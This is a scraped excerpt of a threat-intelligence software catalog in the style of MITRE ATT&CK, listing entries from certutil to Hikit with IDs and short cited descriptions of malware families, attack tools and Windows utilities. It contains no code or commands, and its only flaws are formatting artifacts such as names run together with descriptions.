S0160certutilcertutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)
S0631ChaesChaes is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. Chaes was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)
S0220ChaosChaos is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)
S0674CharmPowerCharmPower is a PowerShell-based, modular backdoor that has been used by Magic Hound since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)
S0144ChChesChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)
S0107Cherry PickerCherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)
S0020China ChopperChina Chopper is a Web Shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server.(Citation: Lee 2013) It has been used by several threat groups.(Citation: Dell TG-3390)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Rapid7 HAFNIUM Mar 2021)
S1041ChinoxyChinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.(Citation: Bitdefender FunnyDream Campaign November 2020)
S0023CHOPSTICKCHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the X-Agent for Android.
S0667ChrommmeChrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.(Citation: ESET Gelsemium June 2021)
S0660ClamblingClambling is a modular backdoor written in C++ that has been used by Threat Group-3390 since at least 2017.(Citation: Trend Micro DRBControl February 2020)
S0611ClopClop is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. Clop is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021)
S0054CloudDukeCloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)
S0106cmdcmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).
IDNameDescription
S0154Cobalt StrikeCobalt Strike is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)

In addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.(Citation: cobaltstrike manual)
S0338Cobian RATCobian RAT is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)
S0369CoinTickerCoinTicker is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)
S0244ComnieComnie is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)
S0126ComRATComRAT is a second stage implant suspected of being a descendant of Agent.btz and used by Turla. The first version of ComRAT was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)
S0608ConfickerConficker is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of Conficker made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
S0591ConnectWiseConnectWise is a legitimate remote administration tool that has been used since at least 2016 by threat actors including MuddyWater and GOLD SOUTHFIELD to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)
S0575ContiConti is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. Conti has been deployed via TrickBot and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using Conti steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)
S0492CookieMinerCookieMiner is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.(Citation: Unit42 CookieMiner Jan 2019)
S0212CORALDECKCORALDECK is an exfiltration tool used by APT37. (Citation: FireEye APT37 Feb 2018)
S0137CORESHELLCORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)
S0050CosmicDukeCosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)
S0614CostaBricksCostaBricks is a loader that was used to deploy 32-bit backdoors in the CostaRicto campaign.(Citation: BlackBerry CostaRicto November 2020)
S0046CozyCarCozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)
S0488CrackMapExecCrackMapExec, or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. CrackMapExec collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)
S1023CreepyDriveCreepyDrive is a custom implant has been used by POLONIUM since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.(Citation: Microsoft POLONIUM June 2022)

POLONIUM has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.(Citation: Microsoft POLONIUM June 2022)
S1024CreepySnailCreepySnail is a custom PowerShell implant that has been used by POLONIUM since at least 2022.(Citation: Microsoft POLONIUM June 2022)
S0115CrimsonCrimson is a remote access Trojan that has been used by Transparent Tribe since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)
S0235CrossRATCrossRAT is a cross platform RAT.
S0538CrutchCrutch is a backdoor designed for document theft that has been used by Turla since at least 2015.(Citation: ESET Crutch December 2020)
S0498CryptoisticCryptoistic is a backdoor, written in Swift, that has been used by Lazarus Group.(Citation: SentinelOne Lazarus macOS July 2020)
S0527CSPY DownloaderCSPY Downloader is a tool designed to evade analysis and download additional payloads used by Kimsuky.(Citation: Cybereason Kimsuky November 2020)
S0625CubaCuba is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)
S0687Cyclops BlinkCyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)
S0497DaclsDacls is a multi-platform remote access tool used by Lazarus Group since at least December 2019.(Citation: TrendMicro macOS Dacls May 2020)(Citation: SentinelOne Lazarus macOS July 2020)
S1014DanBotDanBot is a first-stage remote access Trojan written in C# that has been used by HEXANE since at least 2018.(Citation: SecureWorks August 2019)
S0334DarkCometDarkComet is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)
S0209Darkmoon
S1066DarkTortillaDarkTortilla is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. DarkTortilla has been used to deliver popular information stealers, RATs, and payloads such as Agent Tesla, AsyncRat, NanoCore, RedLine, Cobalt Strike, and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)
S0673DarkWatchmanDarkWatchman is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)
S0187DaserfDaserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)
S1033DCSrvDCSrv is destructive malware that has been used by Moses Staff since at least September 2021. Though DCSrv has ransomware-like capabilities, Moses Staff does not demand ransom or offer a decryption key.(Citation: Checkpoint MosesStaff Nov 2021)
S0255DDKONGDDKONG is a malware sample that was part of a campaign by RancorDDKONG was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)
S1052DEADEYEDEADEYE is a malware launcher that has been used by APT41 since at least May 2021. DEADEYE has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).(Citation: Mandiant APT41)
S0243DealersChoiceDealersChoice is a Flash exploitation framework used by APT28. (Citation: Sofacy DealersChoice)
S0616DEATHRANSOMDEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.(Citation: FireEye FiveHands April 2021)
S0354DenisDenis is a Windows backdoor and Trojan used by APT32Denis shares several similarities to the SOUNDBITE backdoor and has been used in conjunction with the Goopy backdoor.(Citation: Cybereason Oceanlotus May 2017)
S0021DerusbiDerusbi is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo)
S0659DiavolDiavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. Diavol has been deployed by Bazar and is thought to have potential ties to Wizard Spider.(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)
S0200DipsindDipsind is a malware family of backdoors that appear to be used exclusively by PLATINUM. (Citation: Microsoft PLATINUM April 2016)
S1021DnsSystemDnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.(Citation: Zscaler Lyceum DnsSystem June 2022)
S0213DOGCALLDOGCALL is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)
S0281DokDok is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user’s network traffic (i.e. Adversary-in-the-Middle).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)
S0600DokiDoki is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. Doki was used in conjunction with the Ngrok Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)
S0695DonutDonut is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) Donut generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)
S0472down_newdown_new is a downloader that has been used by BRONZE BUTLER since at least 2019.(Citation: Trend Micro Tick November 2019)
S0134DowndelphDowndelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)
S0186DownPaperDownPaper is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)
S0694DRATzarusDRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)
S0384DridexDridex is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated Dridex had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. Dridex was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)
S0547DropBookDropBook is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)
S0502DrovorubDrovorub is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by APT28.(Citation: NSA/FBI Drovorub August 2020)
S0105dsquerydsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.
S0567DtrackDtrack is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. Dtrack shares similarities with the DarkSeoul campaign, which was attributed to Lazarus Group. (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)
S0038DuquDuqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)
S0062DustySkyDustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)
S0024DyreDyre is a banking Trojan that has been used for financial gain.
(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)
S0377EburyEbury is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)
S0593ECCENTRICBANDWAGONECCENTRICBANDWAGON is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool–with keylogging and screen capture functionality–used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)
S0624EcipekacEcipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RATSodaMaster, and FYAnti.(Citation: Securelist APT10 March 2021)
S0554EgregorEgregor is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between Egregor and Sekhmet ransomware, as well as Maze ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)
S0605EKANSEKANS is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. EKANS has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in MegaCortex.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
S0081EliseElise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of
tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)
S0064ELMERELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)
S0082EmissaryEmissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)
S0367EmotetEmotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)
S0363EmpireEmpire is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure PowerShell for Windows and Python for Linux/macOS. Empire was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)
S0634EnvyScoutEnvyScout is a dropper that has been used by APT29 since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
S0091EpicEpic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)
S0404esentutlesentutl is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)
S0396EvilBunnyEvilBunny is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)
S0152EvilGrabEvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)
S0568EVILNUMEVILNUM is fully capable backdoor that was first identified in 2018. EVILNUM is used by the APT group Evilnum which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)
S0401Exaramel for LinuxExaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.(Citation: ESET TeleBots Oct 2018)
S0343Exaramel for WindowsExaramel for Windows is a backdoor used for targeting Windows systems. The Linux version is tracked separately under Exaramel for Linux.(Citation: ESET TeleBots Oct 2018)
S0361ExpandExpand is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by BBSRAT to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)
S0569ExplosiveExplosive is a custom-made remote access tool used by the group Volatile Cedar. It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
S0076FakeMFakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)
S0181FALLCHILLFALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)
S0512FatDukeFatDuke is a backdoor used by APT29 since at least 2016.(Citation: ESET Dukes October 2019)
S0171FelismusFelismus is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)
S0267FELIXROOTFELIXROOT is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)
S0679FerociousFerocious is a first stage implant composed of VBS and PowerShell scripts that has been used by WIRTE since at least 2021.(Citation: Kaspersky WIRTE November 2021)
S0120FgdumpFgdump is a Windows password hash dumper. (Citation: Mandiant APT1)
S0355Final1stspyFinal1stspy is a dropper family that has been used to deliver DOGCALL.(Citation: Unit 42 Nokki Oct 2018)
S0182FinFisherFinFisher is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)
S0618FIVEHANDSFIVEHANDS is a customized version of DEATHRANSOM ransomware written in C++. FIVEHANDS has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with SombRAT.(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)
S0696FlagproFlagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021)
S0143FlameFlame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)
S0036FLASHFLOODFLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
S0381FlawedAmmyyFlawedAmmyy is a remote access tool (RAT) that was first seen in early 2016. The code for FlawedAmmyy was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)
S0383FlawedGraceFlawedGrace is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)
S0173FLIPSIDEFLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)
S0661FoggyWebFoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)
S0193ForfilesForfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)
S0503FrameworkPOSFrameworkPOS is a point of sale (POS) malware used by FIN6 to steal payment card data from sytems that run physical POS devices.(Citation: SentinelOne FrameworkPOS September 2019)
S0277FruitFlyFruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).
S0095ftpftp is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)
S1044FunnyDreamFunnyDream is a backdoor with multiple components that was used during the FunnyDream campaign since at least 2019, primarily for execution and exfiltration.(Citation: Bitdefender FunnyDream Campaign November 2020)
S0628FYAntiFYAnti is a loader that has been used by menuPass since at least 2020, including to deploy QuasarRAT.(Citation: Securelist APT10 March 2021)
IDNameDescription
S0410FysbisFysbis is a Linux-based backdoor used by APT28 that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)
S0168GazerGazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)
S0666GelsemiumGelsemium is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. Gelsemium has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)
S0049GeminiDukeGeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)
S0460Get2Get2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGraceFlawedAmmyy, Snatch and SDBbot.(Citation: Proofpoint TA505 October 2019)
S0032gh0st RATgh0st RAT is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)
S0026GLOOXMAILGLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)
S0249Gold DragonGold Dragon is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. Gold Dragon was used along with Brave Prince and RunningRAT in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)
S0493GoldenSpyGoldenSpy is a backdoor malware which has been packaged with legitimate tax preparation software. GoldenSpy was discovered targeting organizations in China, being delivered with the “Intelligent Tax” software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.(Citation: Trustwave GoldenSpy June 2020)
S0597GoldFinderGoldFinder is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. GoldFinder was discovered in early 2021 during an investigation into the SolarWinds Compromise by APT29.(Citation: MSTIC NOBELIUM Mar 2021)
S0588GoldMaxGoldMax is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. GoldMax was discovered in early 2021 during the investigation into the SolarWinds Compromise, and has likely been used by APT29 since at least mid-2019. GoldMax uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)
S0477GoopyGoopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)
S0531GrandoreiroGrandoreiro is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. Grandoreiro has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)
S0237GravityRATGravityRAT is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are “TheMartian” and “The Invincible.” According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)
S0690Green LambertGreen Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)
S0342GreyEnergyGreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)
S0417GRIFFONGRIFFON is a JavaScript backdoor used by FIN7. (Citation: SecureList Griffon May 2019)
S0632GrimAgentGrimAgent is a backdoor that has been used before the deployment of Ryuk ransomware since at least 2020; it is likely used by FIN6 and Wizard Spider.(Citation: Group IB GrimAgent July 2021)
S0008gsecdumpgsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)
S0561GuLoaderGuLoader is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including NETWIREAgent TeslaNanoCore, FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)
S0132H1N1H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)
S0047Hacking Team UEFI RootkitHacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)
S0151HALFBAKEDHALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)
S0037HAMMERTOSSHAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)
S0499HancitorHancitor is a downloader that has been used by Pony and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)
S0214HAPPYWORKHAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)
S0246HARDRAINHARDRAIN is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)
S0224HavijHavij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)
S0391HAWKBALLHAWKBALL is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)
S0071hcdLoaderhcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)
S0061HDoorHDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)
S0617HELLOKITTYHELLOKITTY is a ransomware written in C++ that shares similar code structure and functionality with DEATHRANSOM and FIVEHANDSHELLOKITTY has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)
S0170HelminthHelminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)
S0697HermeticWiperHermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)
S0698HermeticWizardHermeticWizard is a worm that has been used to spread HermeticWiper in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)
S1027Heyoka BackdoorHeyoka Backdoor is a custom backdoor–based on the Heyoka open source exfiltration tool–that has been used by Aoqin Dragon since at least 2013.(Citation: SentinelOne Aoqin Dragon June 2022)(Citation: Sourceforge Heyoka 2022)
S0087Hi-ZorHi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)
S0394HiddenWaspHiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)
S0135HIDEDRVHIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)
S0009HikitHikit is malware that has been used by Axiom for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)
